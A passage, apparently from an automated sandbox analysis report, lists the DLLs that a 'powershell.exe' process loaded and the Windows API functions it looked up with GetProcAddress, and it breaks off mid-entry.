called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00006920)36:Tba19,"powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter 